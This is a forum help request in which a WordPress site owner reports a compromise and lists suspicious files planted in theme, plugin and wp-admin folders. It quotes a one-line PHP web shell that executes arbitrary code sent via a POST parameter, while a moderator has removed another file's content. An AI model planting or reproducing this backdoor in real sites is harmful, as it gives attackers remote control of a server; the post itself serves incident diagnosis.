Suspicious hack

Hi there my latest WordPress site seems to have malfunctioned and almost defaced. I am running the latest wordpress theme with a few plugins which were also running the latest version.

Can anyone shed some light as to how this might have happened or what it is?

I found the following files in the following directories:

wp-content/themes/twentyfifteen/readmy.php
wp-content/plugins/Login-wall-iFeJb/listent.txt
wp-content/plugins/Login-wall-iFeJb/login_wall.php
wp-admin/network/jobrch.php
wp-admin/network/son.php

The content of each file is as follows:

wp-content/themes/twentyfifteen/readmy.php

<?php @eval($_POST[gnm]);?>

wp-content/plugins/Login-wall-iFeJb/listent.txt

%->%|1%|<%-

wp-content/plugins/Login-wall-iFeJb/login_wall.php

[ Possible malware code deleted. Don’t post that here. ]

I found a few suspicious files